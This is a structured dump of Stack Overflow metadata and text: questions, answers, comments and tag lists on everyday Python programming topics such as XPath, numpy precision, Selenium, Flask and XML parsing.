has comment: http://stackoverflow.com/comment/85967934
has body: Assuming that is always the fourth line inside the pre tag: result = int(pre[0].text.split('\n')[3].split('trades over')[0]) Outputs: 2
has comment: http://stackoverflow.com/comment/85967745
has comment: http://stackoverflow.com/comment/86005333
has comment: http://stackoverflow.com/comment/85968133
accepted answer of: http://stackoverflow.com/q/49482383
type: Answer
has comment: http://stackoverflow.com/comment/86008845
has comment: http://stackoverflow.com/comment/86008119
has comment: http://stackoverflow.com/comment/86005398

http://stackoverflow.com/comment/85885867
score: 1
comment on: http://stackoverflow.com/a/49441420
has text: @jpp For a tiny amount of data like this there's probably no difference, but if you had any significant amount, `np.logical_and` would waste some significant time dealing with the Series objects during reduction, (presumably because it isn't optimized for this like Pandas bitwise-ands are). You could avoid this of course using `.values` everywhere but that gets pretty verbose.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/85995251
score: 0
has text: @Aloiiz thx a lot!very smart line.
comment on: http://stackoverflow.com/q/49494972
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/85966202
has text: @Patrick, Could you update your original question adding the changes you made to your code and point where "lineEdit" is not being assigned to the variable you want? For now I can't see what it might possibly be. Or, for the frst problem, if it was solved, you can skip the update for this first question and ask a new question about the new problem.
score: 0
comment on: http://stackoverflow.com/a/49480512
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49564776
tagged with: python
score: 0
has body: Follow-up from this question - Xpath. How to select all text between two tags? I can get text from in between one intersect like this - response.xpath('//pre[preceding-sibling::a[@name="dst100030"] and following-sibling::a[@name="dst100031"]]//text()') The page has a list of such intersections and I need to get text from in between each of them. Is there such option using xpath? Or i should create a list of all @name values and substitute them into preciding and following sibling?
answer count: 1
has title: Get all intersections of two sets on the page using XPath
upvote count: 1
linked to: http://stackoverflow.com/q/49563822
downvote count: 1
has answer: http://stackoverflow.com/a/49566057
favorite count: 0
type: Question
tagged with: xpath
type: UnansweredQuestion

http://stackoverflow.com/q/49480311
has comment: http://stackoverflow.com/comment/85964517
type: UnansweredQuestion
has body: I find myself in this situation: class C2(x2, f2): def __init__(self): super(x2, self).__init__() self.setupUi(self) And: class C1(x1, f1): def __init__(self): super(x1, self).__init__() self.setupUi(self) text = self.FMB.text() And I would like to be able to pass the text variable to class C2. I have tried to use the following method: class C2(x2, f2): def __init__(self): super(x2, self).__init__() self.setupUi(self) def f3(t): var = t self.v2.setText(t) # Here the variable 'text' from C1 is assigned to a lineedit in C2 class C1(x1, f1): def __init__(self): super(x1, self).__init__() self.setupUi(self) text = self.FMB.text() C2.f3(text) But it is not possible to carry out the commented assignment. How can I do it?
downvote count: 2
has answer: http://stackoverflow.com/a/49480512
has answer: http://stackoverflow.com/a/49480457
upvote count: 1
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/85963732
has title: Calling variables from Class to another
favorite count: 0
type: Question
answer count: 2

http://stackoverflow.com/q/49535874
tagged with: coreml
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49536111
tagged with: keras
has comment: http://stackoverflow.com/comment/86078775
has title: How can I solve the error "Cannot import name 'x' "?
has body: I'm trying to convert Keras to a Core ML model but I'm stuck when converting the Python file into a mlmodel. I'm getting errors when importing submodules of 'coremltools'. The error that I'm getting is: "python recog.py Traceback (most recent call last): File "recog.py", line 3, in from coremltools import convert ImportError: cannot import name 'convert' " I tried to import the submodules in a different way but nothing worked for me. I hope anyone can help me! You can see the Python code, in the sample below: import coremltools from coremltools import converters from coremltools import convert coreml_model = coremltools.converters.keras.convert('model.h5', input_names='data', image_input_names='data', is_bgr=True, output_names='species') coreml_model.save('model.mlmodel')
has answer: http://stackoverflow.com/a/49535945
tagged with: python
type: Question
score: 0
answer count: 2

http://stackoverflow.com/q/49502741
has title: How do i retrieve a value using TinyDB?
has comment: http://stackoverflow.com/comment/86009651
score: 1
has comment: http://stackoverflow.com/comment/86009854
tagged with: database
tagged with: python
linked to: http://stackoverflow.com/q/7771011
has body: I've recently started coded in python and just started using TinyDB. I got the insert, remove and update working but i can't figure out how to retrieve a value from my data. {"_default": {"1": {"name": "Sarah", "value": 8}, "2": {"name": "John", "value": 9}}} How do i get the value from a specific name for example?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86009842
tagged with: tinydb
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/52195821

http://stackoverflow.com/comment/86051276
score: 0
type: AnswerComment
has text: In reducer file I got loop, it get the same data like this: 35 Vancouver-1 Vancouver-1 Vancouver-1
comment on: http://stackoverflow.com/a/49522588
type: Comment

http://stackoverflow.com/comment/86038363
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49516439
has text: Complains about encountering an infinitely loop... code is structured in while True loops with breaks... no comments
score: 1

escaping
tags question: http://stackoverflow.com/q/49562687
type: Tag
tags question: http://stackoverflow.com/q/49583913
tag name: escaping
tags question: http://stackoverflow.com/q/49566544

http://stackoverflow.com/comment/86042795
type: QuestionComment
has text: Consider `self.update()` for bulk changing of values in a dict subclass.
comment on: http://stackoverflow.com/q/49518517
score: 0
type: Comment

http://stackoverflow.com/comment/120114706
type: Comment
type: AnswerComment
has text: Can this be done without eager execution enabled ?
comment on: http://stackoverflow.com/a/49589735
score: 0

http://stackoverflow.com/comment/85961184
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49472333
type: QuestionComment
has text: @WillKeeling tone_analyzer is a Watson API

http://stackoverflow.com/comment/85948499
has text: I have set the index to genes and I face something weird. Once I run the code, I get the genes and their ids and when I run the same again, I get error as below: None of (0, 'a'), (1, 'a'), (2, 'c'), (3, 'g'), (4, 'g'), (5, 'c'), (6, 'a')....... are in the [index]
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49472052
type: AnswerComment

http://stackoverflow.com/comment/86091280
score: 0
type: AnswerComment
has text: I've also tried doing that before and I couldn't get it to work. the only difference between your code and what I did was I had a Team instance in the view so I just passed `Team.id` instead of `self.id`
comment on: http://stackoverflow.com/a/49541011
type: Comment

http://stackoverflow.com/comment/86173495
score: 1
type: Comment
has text: use javascript to validate the form before submit in front end, or check the value of the form after backend receives the http post, if failed, return 'error message' back to front end.
type: QuestionComment
comment on: http://stackoverflow.com/q/49582517

http://stackoverflow.com/comment/85901552
comment on: http://stackoverflow.com/q/49449405
has text: You need to actually ask a question, All I can really see is some code
type: Comment
score: 0
type: QuestionComment

api
tags question: http://stackoverflow.com/q/49515298
tag name: api
tags question: http://stackoverflow.com/q/49587850
tags question: http://stackoverflow.com/q/49544487
tags question: http://stackoverflow.com/q/49589862
tags question: http://stackoverflow.com/q/49473759
tags question: http://stackoverflow.com/q/49597612
tags question: http://stackoverflow.com/q/49450580
tags question: http://stackoverflow.com/q/49594055
tags question: http://stackoverflow.com/q/49453847
tags question: http://stackoverflow.com/q/49593657
tags question: http://stackoverflow.com/q/49511514
type: Tag
tags question: http://stackoverflow.com/q/49489528
tags question: http://stackoverflow.com/q/49466049
tags question: http://stackoverflow.com/q/49481461
tags question: http://stackoverflow.com/q/49502551

http://stackoverflow.com/comment/85893584
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49445729
has text: give me a moment, I'll edit it and notify you
type: Comment

http://stackoverflow.com/comment/85988691
comment on: http://stackoverflow.com/q/49471084
type: Comment
type: QuestionComment
score: 0
has text: How do you install from PyPI? (download + `python setup.py install` or `pip install`). Any error message at that time? Any error (if so, exactly what are they) on `import mylib`? For Cython packages, you can either provide the pyx/pxd files or the c files, as you do. Both should work. For further info, please [create a Minimal, Complete, and Verifiable example](https://stackoverflow.com/help/mcve).

http://stackoverflow.com/q/49483218
type: Question
duplicate of: http://stackoverflow.com/q/25952907
has comment: http://stackoverflow.com/comment/85969555
tagged with: python
tagged with: flask
has body: I am reading the book: Flask Web Developmen. Below are the book's codes for adding an icon in the address bar: {% block head %} {{ super() }} &lt;link rel="shortcut icon" href="{{ url_for('static', filename='favicon.ico') }}" type="image/x-icon"&gt; &lt;link rel="icon" href="{{ url_for('static', filename='favicon.ico') }}" type="image/x-icon"&gt; {% endblock %} My question is: why it needs two links to add one icon. In HTML, this oneline &lt;link rel="shortcut icon" href="static/favicon.ico"&gt; is enough for this task. Doesn't it?
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/49483326
linked to: http://stackoverflow.com/q/25952907
upvote count: 3
linked to: http://stackoverflow.com/q/23849377
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has answer: http://stackoverflow.com/a/49483326
has title: How to add an icon in the address bar in Flask?
downvote count: 0
favorite count: 0

http://stackoverflow.com/q/49480598
has body: Say that I have a word in Spanish, 'contador', for which I want to obtain a finite set of synonyms '['contable','tesorero','medidor',...]'. I am aware that I can obtain synonyms from Wordnet Synsets in Python, but only for words in English. My question is: how can I generate the desired list of synonyms with Python?
accepted answer: http://stackoverflow.com/a/49480701
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85965995
has answer: http://stackoverflow.com/a/49480701
answer count: 1
downvote count: 3
has comment: http://stackoverflow.com/comment/85964171
favorite count: 0
has title: Create a list in Python with Spanish synonyms from Spanish word
type: Question
has comment: http://stackoverflow.com/comment/85964190
upvote count: 0
score: -3
has comment: http://stackoverflow.com/comment/85978639
tagged with: python

http://stackoverflow.com/comment/86013407
has text: Can you show your actual code? It sounds like you just need to *call* the function, rather than only referencing it. There's no callbacks or weird stuff going on where a function should get returned to you.
type: QuestionComment
comment on: http://stackoverflow.com/q/49504680
score: 1
type: Comment

http://stackoverflow.com/comment/86207466
score: 1
comment on: http://stackoverflow.com/q/49597947
type: Comment
type: QuestionComment
has text: 16Mb is not really that large. there's no point telling us you are struggling: you need to tell us what you are doing and what the failure symptoms are.

data-structures
tags question: http://stackoverflow.com/q/49563208
tag name: data-structures
tags question: http://stackoverflow.com/q/49509575
tags question: http://stackoverflow.com/q/49521271
tags question: http://stackoverflow.com/q/49518496
tags question: http://stackoverflow.com/q/49582936
tags question: http://stackoverflow.com/q/49479690
tags question: http://stackoverflow.com/q/49547491
tags question: http://stackoverflow.com/q/49496609
tags question: http://stackoverflow.com/q/49575353
tags question: http://stackoverflow.com/q/49462195
type: Tag
tags question: http://stackoverflow.com/q/49589941
tags question: http://stackoverflow.com/q/49583135
tags question: http://stackoverflow.com/q/49584044
tags question: http://stackoverflow.com/q/49469513
tags question: http://stackoverflow.com/q/49591876
tags question: http://stackoverflow.com/q/49588498

http://stackoverflow.com/comment/86183389
score: 0
has text: Note that usually you would name your fields `team` and `user` (without ID), then you can access the ids with `team_id` and `user_id`.
comment on: http://stackoverflow.com/q/49587586
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49468687
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49468117
has body: link_to_open = listings_df.loc[1:1,'photo_links'] returns Series object. try this link_to_open = listings_df.loc[1,'photo_links']
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/49468117

http://stackoverflow.com/q/49443110
type: AnsweredQuestion
answer count: 2
accepted answer: http://stackoverflow.com/a/49447852
tagged with: gimpfu
downvote count: 0
possible better answer: http://stackoverflow.com/a/49443257
upvote count: 1
has answer: http://stackoverflow.com/a/49447852
has comment: http://stackoverflow.com/comment/85887974
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49443257
type: Question
tagged with: gimp
has body: I spent awhile trying to get GIMP to register an example of the classic "hello world" plugin that I wrote to begin learning. Finally, I got it to register after double checking the file location and the path for plugins in GIMP's preferences as well as changing user permissions for executing the .py in terminal using chmod. Got it to work! The "hello" appears under the File drop down menu, as I had written in the code. The problem is it doesn't display the console box with my much awaited message! If I go to the python-fu console in GIMP I can find my plugin in the PDB and when I click apply and run it from the console, I get an execution error, Traceback (most recent call last): File "&lt;input&gt;", line 1, in &lt;module&gt; RuntimeError: execution error I was hoping I had the code correct and that my big issue was just the registration, but now my hopes are crushed! Is there anything wrong with my code: #!/usr/bin/env python from gimpfu import * def hello_world(image, drawable): pdb.gimp_message("Hello World") register("python-fu-hello-world", "hello", "helloooo", "X. D.", "X. D.", "2018", "Hello", "", [], [], hello_world, menu="&lt;Image&gt;/File") main() (Macbook OS 10.11, python 2.7, GIMP 2.8)
has title: gimp python execution error
tagged with: python
has comment: http://stackoverflow.com/comment/85888060

http://stackoverflow.com/a/49440564
has body: Python allows you to multiply a string by a number to repeat it, which means you can do: e = 'hello there' x = ',' * len(e) Which will give you: ',,,,,,,,,,,'
type: Answer
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/49440510

http://stackoverflow.com/q/49472650
possible better answer: http://stackoverflow.com/a/49472696
upvote count: 5
accepted answer: http://stackoverflow.com/a/49472909
has answer: http://stackoverflow.com/a/49472696
tagged with: python
has answer: http://stackoverflow.com/a/49472909
has comment: http://stackoverflow.com/comment/85948506
has title: Swapping Elements in Python Iteratively
tagged with: python-3.x
answer count: 2
score: 5
has comment: http://stackoverflow.com/comment/85947924
has comment: http://stackoverflow.com/comment/85948552
downvote count: 0
has comment: http://stackoverflow.com/comment/85948105
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85947874
has body: I am having trouble understanding what's happening behind the scenes for this simple code snippet: def changeArray(arr): for i in range(len(arr)): arr[i], arr[arr[i] - 1] = arr[arr[i] - 1], arr[i] print(arr) return(arr) The code assumes the array has as its elements the integers from 1 to n. The output for the given code when the input is [1,3,4,2] is: [1, 3, 4, 2] [1, 4, 4, 3] [1, 4, 4, 3] [1, 4, 4, 3] Out[8]: [1, 4, 4, 3] while I was expecting it to print and return this: [1, 3, 4, 2] [1, 4, 3, 2] [1, 4, 3, 2] [1, 2, 3, 4] Out[8]: [1, 2, 3, 4] Why are the values changing at all when the code is only swapping elements? Edit: It turns out, changing the swapping order fixes the problem: def changeArray(arr): for i in range(len(arr)): arr[arr[i]-1], arr[i] = arr[i], arr[arr[i]-1] print(arr) return(arr) This gives the following output: [1, 3, 4, 2] [1, 4, 3, 2] [1, 4, 3, 2] [1, 2, 3, 4] Out[8]: [1, 2, 3, 4] How did changing the order do the swapping as expected, and the reverse did something else entirely?
has comment: http://stackoverflow.com/comment/85948490
has comment: http://stackoverflow.com/comment/85948535
type: AnsweredQuestion

http://stackoverflow.com/comment/85990973
type: AnswerComment
comment on: http://stackoverflow.com/a/49492798
type: Comment
has text: so , i can just git clone dlib models https://github.com/davisking/dlib-models in my computer and copy the path of required model like this openface.AlignDlib(path)
score: 0

http://stackoverflow.com/q/49525016
accepted answer: http://stackoverflow.com/a/49525242
score: 1
tagged with: python
tagged with: dictionary
type: AnsweredQuestion
tagged with: python-2.7
downvote count: 0
has body: I don't know if the title I gave does a good job of explaining what I need my program to do. I will have dictionaries of the form: main_dictionary = {1: [ [a], [b], [c], ... ], 2: [ [a], [b], [c], ... ] , ... } The dictionary can be arbitrarily long and have an arbitrary number of options for each key. I need the program to then make every permutation of this dictionary to test. sub_dictionary = {1: [a], 2: [a], ... } test_program(sub_dictionary) sub_dictionary = {1: [a], 2: [b], ... } test_program(sub_dictionary)
upvote count: 1
has title: Generating dictionaries that are permutations of larger dictionaries
answer count: 1
tagged with: permutation
favorite count: 0
has answer: http://stackoverflow.com/a/49525242
type: Question

http://stackoverflow.com/comment/86104038
type: Comment
has text: @samgak no they cannot
score: 0
comment on: http://stackoverflow.com/q/49548040
type: QuestionComment

http://stackoverflow.com/q/49584721
answer count: 1
downvote count: 0
tagged with: selenium
upvote count: 1
tagged with: google-chrome
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49585251
tagged with: python
has answer: http://stackoverflow.com/a/49585251
has title: Unable to send text to Email field on Microsoft login page using Selenium
has body: I'm trying to figure out a way to automatically log in / enter text into a given text field on a particular web page. I've already don't this before, but this particular page isn't responding to anything I've thrown at it yet. The default page load already has the auto-focus on the necessary text box. I'm currently using Python to write the Selenium code. My current script includes prior processes that lead to the page in question, where my current problem lies. Additionally, I've been running this code in a Google-Chrome browser, but with the user-agent selected to Edge - Mobile (but that probably won't matter here). The website in question is the Microsoft login at <a href="https://login.live.com/login.srf?wa=wsignin1.0&amp;rpsnv=13&amp;ct=1522472835&amp;rver=6.7.6631.0&amp;wp=MBI&amp;wreply=https%3A%2F%2Fwww.bing.com%2Fsecure%2FPassport.aspx%3Frequrl%3Dhttps%253a%252f%252fwww.bing.com%252fsearch%253fq%253dski%2526qs%253dn%2526form%253dQBRE%2526sp%253d-1%2526pq%253ds%2526sc%253d0-0%2526sk%253d%2526cvid%253d93C0EE27FBAA4F4586E4D80F72C2E2CC%2526wlexpsignin%253d1&amp;lc=1033&amp;id=264960&amp;pcexp=false&amp;CSRFToken=bbab580f-8f65-4ade-8c0c-a59f2d845e2d&amp;aadredir=1" rel="nofollow noreferrer">this link. The CSS/HTML of the text box in question: &lt;input type="email" name="loginfmt" id="i0116" maxlength="113" lang="en" class="form-control ltr_override" aria-describedby="usernameError loginHeader loginDescription" aria-required="true" data-bind="textInput: usernameTextbox.value, hasFocusEx: usernameTextbox.focused, placeholder: $placeholderText, ariaLabel: tenantBranding.UserIdLabel || str['CT_PWD_STR_Username_AriaLabel'], css: { 'has-error': usernameTextbox.error }, attr: inputAttributes" placeholder="Email, phone, or Skype" aria-label="Enter your email, phone, or Skype."&gt; The code I'm currently testing (which is basically three varied iterations of the same idea), after the given page loads: element = driver.find_element_by_id("i0116") element.click() element.…
tagged with: selenium-webdriver
type: Question
tagged with: selenium-chromedriver
score: 1

http://stackoverflow.com/q/49536695
type: Question
tagged with: numpy
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86080051
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/588004
has comment: http://stackoverflow.com/comment/86080150
has comment: http://stackoverflow.com/comment/86080217
has answer: http://stackoverflow.com/a/49537254
has comment: http://stackoverflow.com/comment/86080777
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/86080432
has body: Using the following code: import numpy as np k = .2 A = np.arange(.01, k, .01, dtype=np.float64) # values print(A) print([A[i] for i in range(len(A))]) # comparison print(A == [A[i] for i in range(len(A))]) # check for value print(.06 in A) The corresponding output is: [0.01 0.02 0.03 0.04 0.05 0.06 0.07 0.08 0.09 0.1 0.11 0.12 0.13 0.14 0.15 0.16 0.17 0.18 0.19] [0.01, 0.02, 0.03, 0.04, 0.05, 0.060000000000000005, 0.06999999999999999, 0.08, 0.09, 0.09999999999999999, 0.11, 0.12, 0.13, 0.14, 0.15000000000000002, 0.16, 0.17, 0.18000000000000002, 0.19] [ True True True True True True True True True True True True True True True True True True True] False What sort of magic is happening here ? How am I supposed to iterate over the array keeping precision ? EDIT: as precised in Is floating point math broken ? this lost of precision is a known issue, language agnostic. I would know what is the python way to handle this ? Using an epsilon seems to be a little hacky for me
has comment: http://stackoverflow.com/comment/86080597
has comment: http://stackoverflow.com/comment/86080647
has title: Wrong values when iterating over numpy array

http://stackoverflow.com/q/49548852
has title: Deploying Django App on PythonAnywhere without using GitHub
answer count: 2
upvote count: 2
downvote count: 0
has body: I need to deploy a Django app on pythonanywhere, but I wish I could upload the code without using GitHub because I don't have private repositories and I don't want my codes to be exposed to the public. How can I deploy my Django app on pythonanywhere without using GitHub?
has comment: http://stackoverflow.com/comment/86104898
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49548941
has comment: http://stackoverflow.com/comment/86104876
tagged with: django
accepted answer: http://stackoverflow.com/a/49548892
tagged with: python
has answer: http://stackoverflow.com/a/49548892
possible better answer: http://stackoverflow.com/a/49548941
type: AnsweredQuestion
score: 2

math
tags question: http://stackoverflow.com/q/49595565
tags question: http://stackoverflow.com/q/49592945
tags question: http://stackoverflow.com/q/49443573
tags question: http://stackoverflow.com/q/49494658
tags question: http://stackoverflow.com/q/49561965
type: Tag
tags question: http://stackoverflow.com/q/49454465
tags question: http://stackoverflow.com/q/49439979
tags question: http://stackoverflow.com/q/49539353
tags question: http://stackoverflow.com/q/49515770
tags question: http://stackoverflow.com/q/49526859
tags question: http://stackoverflow.com/q/49473757
tags question: http://stackoverflow.com/q/49475336
tags question: http://stackoverflow.com/q/49582379
tag name: math
tags question: http://stackoverflow.com/q/49472108
tags question: http://stackoverflow.com/q/49534947
tags question: http://stackoverflow.com/q/49521656
tags question: http://stackoverflow.com/q/49478029
tags question: http://stackoverflow.com/q/49482717
tags question: http://stackoverflow.com/q/49443126

http://stackoverflow.com/comment/85943361
type: AnswerComment
score: 1
has text: I'm not sure what you mean by "functional" in this regard. You can't just put a loop in and do this for every line of the file?
type: Comment
comment on: http://stackoverflow.com/a/49470403

simplehttpserver
tags question: http://stackoverflow.com/q/49453682
tag name: simplehttpserver
tags question: http://stackoverflow.com/q/49591456
type: Tag
tags question: http://stackoverflow.com/q/49515704

http://stackoverflow.com/comment/86082457
type: Comment
type: QuestionComment
has text: Please see the following: https://stackoverflow.com/questions/38349579/python-elementtree-does-not-like-colon-in-name-of-processing-instruction
comment on: http://stackoverflow.com/q/49537649
score: 0

http://stackoverflow.com/comment/85939983
score: 0
type: Comment
type: QuestionComment
has text: As a side note, for an iterable class that just "forwards" its iteration like this, you almost always want `__iter__` to be one of `return iter(something)` or `yield from something`. If neither of those is what you want, it's a good sign that you _aren't_ just writing a forwarding iterable and you need to have a second thought at how your thing fits into the protocol.
comment on: http://stackoverflow.com/q/49468169

http://stackoverflow.com/q/49459292
upvote count: 2
type: UnansweredQuestion
has title: Node JS throwing error "Can't find Python Executable", even when python interpreter is accessible from project directory
downvote count: 0
favorite count: 0
tagged with: node.js
score: 2
has comment: http://stackoverflow.com/comment/85926774
has body: ****I am working on a Node.Js project that requires Python for the application to run properly. After running the command "npm install" from my Node Project directory, the project threw an error that at first seemed simple to fix. "Can't Find Python Executable." After setting the Python environmental path 3 different ways, and successfully accessing my python interpreter from my project path, it is still throwing this error. But I can type "python" into my command line and pull up the interpreter. There is also another error being thrown regarding something called ELifecycle, which I am just clueless about even after googling and searching through StackOverflow. Here is the output code from my Command Line as reference. Also, I have edited the different paths with or something like it, just because I don't like broadcasting to the world the pathways within my computer.**** C:\Users\&lt;myPATH&gt;\npm install Cannot download "https://github.com/sass/node-sass/releases/download/v3.13.1/win32-x64-57_binding.node": HTTP error 404 Not Found Hint: If github.com is not accessible in your location try setting a proxy via HTTP_PROXY, e.g. export HTTP_PROXY=http://example.com:1234 or configure npm proxy via npm config set proxy http://example.com:8080 gyp info it worked if it ends with ok gyp verb cli [ 'C:\\Program Files\\nodejs\\node.exe', gyp verb cli 'C:\\Users\\&lt;path&gt;\\node-gyp.js', gyp verb cli 'rebuild', gyp verb cli '--verbose', gyp verb cli '--libsass_ext=', gyp verb cli '--libsass_cflags=', gyp verb cli '--libsass_ldflags=', gyp verb cli '--libsass_library=' ] gyp info using node-gyp@3.6.2 gyp info using node@8.9.4 | win32 | x64 gyp verb command rebuild [] gyp verb command clean [] gyp verb clean removing "build" directory gyp verb command configure [] gyp verb check python checking for Python executable "C:\Program Files\Python\Python36\;C:\Program Files\Python\Python36\python.exe;"C:\Program Files\Python\Python36\python.exe"" in the PATH gyp verb `which` fai…
tagged with: python
type: Question
answer count: 0
tagged with: npm

http://stackoverflow.com/comment/86092969
score: 0
has text: `winfo_width` and `winfo_height` are universal widget _methods_ which means you have to call them to get the value: i.e. `w = surf_plot.winfo_width()`. Assuming that's what you're doing, I don't really understand your comment before last.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49540386

http://stackoverflow.com/q/49511176
has answer: http://stackoverflow.com/a/49511283
possible better answer: http://stackoverflow.com/a/49511283
has title: How to capture exception thrown by class definnition in python 2.7
has answer: http://stackoverflow.com/a/49511490
has answer: http://stackoverflow.com/a/49511712
type: Question
has body: I've go code like that: class Foo: foo_const = function_which_throws_something() How to capture such exception? Is it possible at all?
has comment: http://stackoverflow.com/comment/86027895
type: AnsweredQuestion
score: 0
tagged with: python
has answer: http://stackoverflow.com/a/49512003
accepted answer: http://stackoverflow.com/a/49512003
answer count: 4

http://stackoverflow.com/comment/85933515
score: 0
has text: to get html page, this web page require csrf token and user agent, I have set both and then it gives html page. In the html page there is lots of tag containing json formated text. I need them to convert them into python object and then will iterate the to get required data
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49465251

http://stackoverflow.com/q/49526937
has title: Speed up parsing of XML in Python to create Pandas Dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/108461844
score: 2
has body: I am parsing an XML file with 1.500.000 nodes, so I can dump the contents into a Pandas dataframe. It does work well, but it's pretty slow (nearly 10 minutes!!) so I am wondering if you have some ideas to fix this process and do it faster. I read about using generators, but I am not sure this applies here, because I think that in order to parse, the full tree structure must be read in memory first (is that correct?) Here is what I have so far, please let me know any suggestion for speed gains. from lxml import etree as ET import pandas as pd def parse_xml_fields(file, base_tag, tag_list): final_list = [] root = ET.parse(file) nodes = root.findall(".//{}".format(base_tag)) for node in nodes: item = {} for tag in tag_list: try: item[tag] = node.find(".//{}".format(tag)).text.strip() except: item[tag] = "" final_list.append(item) return final_list results = parse_xml_fields("15.1-EX_XML_EDR_UO.xml", "RECORD", ["NAME","SHORT_NAME","EDRPOU","ADDRESS","BOSS","KVED","STAN","FOUNDER"]) df = pd.DataFrame(results) If you are curious to test it out, you can get the XML from here: http://data.gov.ua./file/196445/download?token=Rmoh_lsA It is a zip file which contains two XML. The one I am using is 15.1-EX_XML_EDR_UO.xml
has comment: http://stackoverflow.com/comment/86065842
tagged with: xml-parsing
tagged with: pandas
answer count: 0
has comment: http://stackoverflow.com/comment/108406768
downvote count: 0
favorite count: 0
type: Question
tagged with: python-3.x
upvote count: 2
has comment: http://stackoverflow.com/comment/86060824
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86059449

http://stackoverflow.com/q/49454419
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49455166
answer count: 1
tagged with: selenium
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has body: Using Selenium I would like to the value of a element in a HTML. Like the following picture shows. The value "1841" is what I would like to extract. I can find the element for the next element by: e = b.find_element_by_xpath("//*[contains(text(), 'value_to_alert')]") Now, the problem is I need to get the element before this element... Note that I cannot use the class name because there are a bunch of "KpiValue"s. Is there a way to do that? Thanks.
tagged with: python
has title: Read a dynamic value using Selenium
has answer: http://stackoverflow.com/a/49455166

http://stackoverflow.com/a/49504041
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86040515
type: Answer
answers question: http://stackoverflow.com/q/49503457
downvote count: 0
has body: Bokeh renders to an HTML Canvas, which is a primitive raster drawing area that does not use or pay attention to CSS. Bokeh exposes the canvas font property via properties on its own models, e.g. to set the font of the major tick labels: p.axis.major_label_text_font = "helvetica" p.axis.major_label_text_font_size = "5pt" The documentation lists all the general kinds of text properties, as well as all the properties specific to axes. Presumably to load an external custom font, you would need to also follow the guidance in this SO question to load the font in the first place: How can I use custom fonts in an HTML5 Canvas element?
has comment: http://stackoverflow.com/comment/86044114

http://stackoverflow.com/a/49441680
has comment: http://stackoverflow.com/comment/85885395
has comment: http://stackoverflow.com/comment/85885377
accepted answer of: http://stackoverflow.com/q/49441614
type: Answer
has comment: http://stackoverflow.com/comment/85885356
has comment: http://stackoverflow.com/comment/85885961
answers question: http://stackoverflow.com/q/49441614
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
has body: According to the definition of dblquad, the gfun and hfun parameters are of type callable, which means they will be called by dblquad in a function-call way. However you can make the code a little bit neat by using Python's lambda instead of a normal function. Example: Ex, Exerr = dblquad(Excalc, thmin, thmax, lambda: 0.8, lambda: 1.2, epsrel=eps)

http://stackoverflow.com/comment/85892697
has text: Ha yes, the second answer to this other post can be adapted. The marked answer doesn't help though, and I'm unsure how to use the second answer as an answer for this -- do you want to write an answer linking to the precise answer you posted?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49442157
type: QuestionComment

http://stackoverflow.com/comment/112280487
type: Comment
has text: This does not save the *fitted* model, as clearly requested by the OP. And importing the `load` method without actually using it in the answer is at least puzzling.
type: AnswerComment
comment on: http://stackoverflow.com/a/63494282
score: 0

http://stackoverflow.com/a/49545818
has body: You can use numpy indexing: contour[:, ::-1]
upvote count: 8
type: Answer
score: 8
downvote count: 0
answers question: http://stackoverflow.com/q/49545758

http://stackoverflow.com/q/49491568
has answer: http://stackoverflow.com/a/49494964
tagged with: twisted
has title: How to catch unhandled error in Deferred originating from threads.deferToThread()
has comment: http://stackoverflow.com/comment/85987348
downvote count: 0
has comment: http://stackoverflow.com/comment/85987574
score: 1
upvote count: 1
favorite count: 0
tagged with: python-3.x
type: Question
answer count: 2
has body: I'm getting the error Unhandled error in Deferred: Can anybody help, how to handle this? @inlineCallbacks def start(self): # First we try Avahi, if it fails we fallback to Bluetooth because # the receiver may be able to use only one of them log.info("Trying to use this code with Avahi: %s", self.userdata) key_data = yield threads.deferToThread(self.discovery.find_key, self.userdata) if key_data and not self.stopped: success = True message = "" returnValue((key_data, success, message)) if self.bt_code and not self.stopped: # We try Bluetooth, if we have it log.info("Trying to connect to %s with Bluetooth", self.bt_code) self.bt = BluetoothReceive(self.bt_port) msg_tuple = yield self.bt.find_key(self.bt_code, self.mac) key_data, success, message = msg_tuple if key_data: # If we found the key returnValue((key_data, success, message)) Error throws at line key_data = yield threads.deferToThread(self.discovery.find_key, self.userdata)
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49494955
tagged with: python-2.7

http://stackoverflow.com/a/49461922
has body: I've never found a good way of using the built in queue for sharing a work queue between processes. By that I mean gunicorn/uwsgi processes not manager/workers. My suggestion would be to use something like redis or rabbit mq for distributing the workload. There are several frameworks for this such as celery or just using pika. This would build your application scaleable in a way. Beging able to distribute API, work queue and workers on separate instances in what scale you require.
answers question: http://stackoverflow.com/q/49461727
downvote count: 0
